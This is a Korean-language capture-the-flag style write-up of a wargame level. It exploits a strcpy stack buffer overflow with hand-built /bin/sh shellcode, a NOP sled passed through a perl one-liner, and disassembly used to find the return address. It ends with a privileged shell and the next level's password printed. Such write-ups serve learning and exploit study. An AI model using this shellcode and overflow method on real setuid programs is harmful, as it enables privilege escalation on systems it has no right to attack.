level5
level5 는 소스가 공개되어 있네요. 소스부터 살펴봤습니다.
level5@io:~$ cd /levels
level5@io:/levels$ cat ./level5.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
level5@io:/levels$ ./level5
level5@io:/levels$ ./level5 AAAAAAAA
AAAAAAAA
BOF 군요. 바이너리도 한번 살펴봤습니다.
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp
0x080483b7 <main+3>: sub $0xa8,%esp 스택을 168 만큼 확장
0x080483bd <main+9>: and $0xfffffff0,%esp
0x080483c0 <main+12>: mov $0x0,%eax
0x080483c5 <main+17>: sub %eax,%esp
0x080483c7 <main+19>: cmpl $0x1,0x8(%ebp) agrc는 ebp+8에 위치
0x080483cb <main+23>: jg 0x80483d9 <main+37>
0x080483cd <main+25>: movl $0x1,0xffffff74(%ebp)
0x080483d7 <main+35>: jmp 0x8048413 <main+95>
0x080483d9 <main+37>: mov 0xc(%ebp),%eax argv는 ebp+12에 위치
0x080483dc <main+40>: add $0x4,%eax
0x080483df <main+43>: mov (%eax),%eax
0x080483e1 <main+45>: mov %eax,0x4(%esp)
0x080483e5 <main+49>: lea 0xffffff78(%ebp),%eax ebp-136의 주소를 eax로
0x080483eb <main+55>: mov %eax,(%esp)
0x080483ee <main+58>: call 0x80482d4 <strcpy@plt>
0x080483f3 <main+63>: lea 0xffffff78(%ebp),%eax
0x080483f9 <main+69>: mov %eax,0x4(%esp)
0x080483fd <main+73>: movl $0x8048524,(%esp)
0x08048404 <main+80>: call 0x80482b4 <printf@plt>
0x08048409 <main+85>: movl $0x0,0xffffff74(%ebp)
0x08048413 <main+95>: mov 0xffffff74(%ebp),%eax
0x08048419 <main+101>: leave
0x0804841a <main+102>: ret
argv[1]의 값이 ebp-136의 주소로 들어가는걸로 봐서 return address 는 140byte를 채우고 난 다음부터 일거라 예상했습니다.
쉘코드는 wowhacker 달고나님이 쓰신 "buffer_overflow_foundation_pub"를 참고해서 만들어봤습니다.
만들어진 쉘코드를 아래 코드로 테스트 했습니다만 작동하지 않았습니다.
char shell[] ="\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3";
void main()
{
int *ret;
ret =(int *)&ret + 2;
*ret = shell;
}
혹시나 하는 마음에 만들어진 바이너리를 디버깅해보니..
0x08048324 <main+0>: lea 0x4(%esp),%ecx
0x08048328 <main+4>: and $0xfffffff0,%esp
0x0804832b <main+7>: pushl 0xfffffffc(%ecx)
0x0804832e <main+10>: push %ebp
0x0804832f <main+11>: mov %esp,%ebp
0x08048331 <main+13>: push %ecx
0x08048332 <main+14>: sub $0x10,%esp
0x08048335 <main+17>: lea 0xfffffff8(%ebp),%eax
0x08048338 <main+20>: add $0x1c,%eax
0x0804833b <main+23>: mov %eax,0xfffffff8(%ebp)
0x0804833e <main+26>: mov 0xfffffff8(%ebp),%edx
0x08048341 <main+29>: mov $0x8049580,%eax
0x08048346 <main+34>: mov %eax,(%edx)
0x08048348 <main+36>: add $0x10,%esp
0x0804834b <main+39>: pop %ecx
0x0804834c <main+40>: pop %ebp
0x0804834d <main+41>: lea 0xfffffffc(%ecx),%esp
0x08048350 <main+44>: ret
스택을 할당하는데 차이가 있어서 return address를 찾지 못하는 것이 이유 같네요.
따라서 리턴 어드레스를 쉘코드로 덮어 씌우고자 "+2" 값을 증가시켰습니다.
(return address가 ebp+4 의 위치에 있지 않았습니다. 값을 1씩 증가시키면서 확인해보았습니다.)
ret =(int *)&ret + 7;
다 준비됐으니 이제 넘치게 해보겠습니다.
처음엔 [Shellcode] [AAAA.....] [Shellcode address] 이렇게 해보고자 했지만 되질 않더군요.
°
™Rh//shh/bin‰ãRS‰áÍ€AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0Þÿ¿
Segmentation fault
어떻게 할까 고민하다가 구글링해보니 \x90을 이용한 방법이 있었습니다
[NOPNOPNOP...] [Shell code] [NOP address]
return address를 NOP 중 어딘가로 지정해주면 흘러가다가 마지막엔 Shellcode가 실행.
./level5 `perl -e 'print "\x90"x95,"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x59\x5d\x8d\x61\xfc\xc3","\x48\xde\xff\xbf"'`
sh-3.1$ id ̀Y]
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5)
sh-3.1$ cat /home/level6/.pass
hur9ivke > mobjy2we
흠.. exploit 를 NOP + shellcode + NOP`s address 형태로 입력했을때 희안한 증상이
생기더군요. 예를 들어 NOP의 시작 어드레스가 ebp-0x88 에 위치해 있을때 이 주소가 0xbfffdc20
이라고 하면 NOP`s address를 0xbfffdc20 으로 입력했을 때 세그 폴트가 발생하길래 확인해봤더
니 입력한대로 값이 들어가지 않고 이상한 값이 들어가 있었습니다.
혹시나 해서 0xbfffdc21 로 입력했더니 잘 입력이 되긴 했지만 역시 세그 폴트가 발생했습니다.
이것도 역시 입력한 쉘코드의 내용이 바뀌어 있었습니다. 결국 argv의 주소를 던져줬더니 쉘이
떨어지긴 했습니다만 이런 현상이 생기는 이유가 궁금하네요.